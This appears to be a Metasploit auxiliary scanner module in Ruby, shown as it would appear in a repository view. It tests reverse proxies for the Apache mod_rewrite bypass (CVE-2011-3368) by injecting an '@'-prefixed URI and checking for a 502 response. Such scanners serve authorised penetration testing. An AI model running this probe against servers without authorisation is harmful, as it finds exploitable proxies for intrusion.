108 lines
3.0 KiB
Ruby
108 lines
3.0 KiB
Ruby
# $Id$
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit4 < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Reverse Proxy Bypass Scanner',
|
|
'Version' => '$Revision$',
|
|
'Description' => %q{
|
|
Scan for poorly configured reverse proxy servers.
|
|
By default, this module attempts to force the server to make
|
|
a request with an invalid domain name. Then, if the bypass
|
|
is successful, the server will look it up and of course fail,
|
|
then responding with a status code 502. A baseline status code
|
|
is always established and if that baseline matches your test
|
|
status code, the injection attempt does not occur.
|
|
"set VERBOSE true" if you are paranoid and want to catch potential
|
|
false negatives. Works best against Apache and mod_rewrite
|
|
},
|
|
'Author' => ['chao-mu'],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['URL', 'http://www.contextis.com/research/blog/reverseproxybypass/'],
|
|
['CVE', '2011-3368'],
|
|
]
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('ESCAPE_SEQUENCE',
|
|
[true, 'Character(s) that terminate the rewrite rule', '@']),
|
|
|
|
OptString.new('INJECTED_URI',
|
|
[true, 'String injected after escape sequence', '...']),
|
|
|
|
OptInt.new('EXPECTED_RESPONSE',
|
|
[true, 'Status code that indicates vulnerability', 502]),
|
|
|
|
OptString.new('BASELINE_URI',
|
|
[true, 'Requested to establish that EXPECTED_RESPONSE is not the usual response', '/']),
|
|
], self.class)
|
|
end
|
|
|
|
def make_request(host, uri, timeout=20)
|
|
begin
|
|
requested_at = Time.now.utc
|
|
response = send_request_raw({'uri' => uri}, timeout)
|
|
responded_at = Time.now.utc
|
|
rescue ::Rex::ConnectionError => e
|
|
vprint_error e.to_s
|
|
return nil
|
|
end
|
|
|
|
if response.nil?
|
|
vprint_error "Request against #{host} timed out"
|
|
return nil
|
|
end
|
|
|
|
seconds_transpired = (responded_at - requested_at).to_f
|
|
vprint_status "#{host} took #{seconds_transpired} seconds to respond to URI #{uri}"
|
|
|
|
status_code = response.code
|
|
vprint_status "#{host} responded with status code #{status_code} to URI #{uri}"
|
|
|
|
return {
|
|
:requested_at => requested_at,
|
|
:responded_at => responded_at,
|
|
:status_code => status_code
|
|
}
|
|
end
|
|
|
|
def run_host(host)
|
|
test_status_code = datastore['EXPECTED_RESPONSE']
|
|
|
|
baseline = make_request(host, datastore['BASELINE_URI'])
|
|
if baseline.nil?
|
|
return
|
|
end
|
|
|
|
if baseline[:status_code] == test_status_code
|
|
vprint_error "The baseline status code for #{host} matches our test's"
|
|
return
|
|
end
|
|
|
|
uri = datastore['ESCAPE_SEQUENCE'] + datastore['INJECTED_URI']
|
|
injection_info = make_request(host, uri, 60)
|
|
|
|
status_code = injection_info[:status_code]
|
|
if status_code == test_status_code
|
|
print_good "#{host}:#{rport} is vulnerable!"
|
|
report_vuln(
|
|
:host => host,
|
|
:port => rport,
|
|
:proto => 'tcp',
|
|
:name => self.fullname,
|
|
:info => "Returned #{status_code} when requested #{uri}",
|
|
:refs => self.references,
|
|
:exploited_at => injection_info[:requested_at]
|
|
)
|
|
end
|
|
end
|
|
end
|